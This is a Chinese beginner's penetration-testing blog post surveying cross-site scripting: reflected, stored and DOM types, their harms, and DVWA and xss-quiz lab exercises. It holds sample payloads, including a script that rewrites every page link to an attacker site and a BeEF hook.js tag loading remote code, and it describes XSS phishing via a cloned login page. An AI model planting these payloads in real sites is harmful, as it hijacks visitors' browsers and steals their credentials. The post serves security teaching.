【零基础学渗透】XSS漏洞的常见方式汇总

【零基础学渗透】XSS漏洞的常见方式汇总

杂谈

之前我们其实有好几期视频都演示过XSS漏洞

往期内容

学习路径

XSS基础

1.XSS介绍与原理

2.存储型XSS

3.反射型XSS

4.DOM型XSS

XSS技术

1.XSS盗取Cookie

2.XSS篡改网页链接

3.XSS盗取用户信息

4.没有过滤的XSS

5.属性中的XSS

6.选择列表中的XSS

7.隐藏参数中的XSS

8.限制输入长度的XSS

9.HTML事件中的XSS

10.空格分隔属性中的XSS

11.Javascript伪协议触发XSS

12.绕过过滤domain为空的XSS

13.绕过替换script和on事件的XSS

14.利用IE特性绕过XSS过滤

15.利用CSS特性绕过XSS过滤

16.IE中利用CSS触发XSS

17.16进制绕过过滤触发XSS

18.unicode绕过过滤触发XSS

XSS实战

1.自动化xss漏洞挖掘

2.XSS平台的搭建和使用

3.BEEF工具的使用

4.XSS手工挖掘

5.XSS钓鱼技术

6.XSS获取键盘记录

视频学习

学习笔记

XSS是什么?

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

XSS会造成那些危害?

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。

  • 网络钓鱼,包括获取各类用户账号;
  • 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
  • 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等;
  • 强制弹出广告页面、刷流量等;
  • 网页挂马;
  • 进行恶意操作,如任意篡改页面信息、删除文章等;
  • 进行大量的客户端攻击,如ddos等;
  • 获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
  • 控制受害者机器向其他网站发起攻击;
  • 结合其他漏洞,如csrf,实施进一步危害;
  • 提升用户权限,包括进一步渗透网站;
  • 传播跨站脚本蠕虫等

XSS是如何产生的

通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

XSS常见出现漏洞的地方

  1. 数据交互的地方
  • get、post、cookies、headers
  • 反馈与浏览
  • 富文本编辑器
  • 各类标签插入和自定义
  1. 数据输出的地方
  • 用户资料
  • 关键词、标签、说明
  • 文件上传

XSS的分类

  • 反射性XSS
  • 存储型XSS
  • DOM型XSS

反射性XSS

又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:

<?php echo "<p>hello, $_GET['user']</p>";?> 

那么在访问时设置

/?user=</p><script>alert("hack")</script><p>

则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

常见注入点

网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。

攻击方式

攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

存储型XSS

又称持久型XSS,比反射型XSS更具有威胁性,并且可能影响到Web服务器自身的安全。攻击脚本将被永久的存放在目标服务器的数据库或文件中。

储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。

常见注入点

论坛、博客、留言板、网站的留言、评论、日志等交互处。

攻击方式

攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。

DOM型XSS

DOM(Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的。不需要与服务器进行交互。

注入点

通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器d端交互,它只发生在客户端处理数据的阶段。

攻击方式

用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

漏洞靶场复现

参考下文我们部署dvwa靶场

反射型XSS

  • Low难度
  • medium难度
  • high难度
  • impossible难度

存储型XSS

  • low难度
  • medium难度
  • high难度
  • impossible难度

DOM型XSS

  • low难度
  • medium难度
  • high难度

XSS篡改网页链接

一、JS代码原理

window.onload 当窗口加载时,执行匿名函数。

使用for循环遍历所有获得的链接a标签。

<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++) {
  link[j].href="http://attacker-site.com/";}
} 

</script>

靶场实现

将篡改代码注入到对应的XSS位置。以DVWA反射型XSS为例。

图片[1]-【零基础学渗透】XSS漏洞的常见方式汇总-FancyPig's blog

三、篡改链接指向流量URL

刷流量,某些站点的重定向。譬如

https://weibo.com/2081681517/GEZpU841G?ref=feedsdk&type=comment#_rnd1540197060886
图片[2]-【零基础学渗透】XSS漏洞的常见方式汇总-FancyPig's blog

四、篡改链接指向恶意URL

Beef 进行恶意链接生成,以及利用hook.js执行其他命令。

 <script src=”http://192.168.253.28:3000/hook.js”></script>

图片[3]-【零基础学渗透】XSS漏洞的常见方式汇总-FancyPig's blog

五、更多阅读

XSS钓鱼用户信息

原理:

克隆网站登录页面,利用存储xss设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。

实验环境:

靶场DVWA、Kali Linux

操作:

XSS在线挑战靶场

一个XSS练习靶场,建议使用IE打开

靶场环境:

https://xss-quiz.int21h.jp/

图片[4]-【零基础学渗透】XSS漏洞的常见方式汇总-FancyPig's blog

操作:

  • 第一关:未经过滤的XSS
  • 第二关:属性中的XSS挖掘
  • 第三关:选择列表的XSS
  • 第四关:隐藏参数的XSS
  • 第五关:绕过长度限制的XSS
  • 第六关:HTML事件中的XSS
  • 第七关:空格分隔属性中的XSS
  • 补充资料:绕过基于签名的XSS筛选器:修改HTML
  • 第八关:Javascript伪协议触发XSS
  • 第九关:UTF-8编码绕过
  • 第十关:绕过过滤domain为空的XSS
  • 第十一关:绕过替换script和on事件的XSS
  • 第十二关
  • 第十三关:利用CSS特性绕过XSS过滤
  • 第十五关:16进制绕过过滤触发XSS
  • 第十六关:unicode绕过过滤触发XSS
© 版权声明
THE END
喜欢就支持一下吧
点赞33 分享
评论 共243条

请登录后发表评论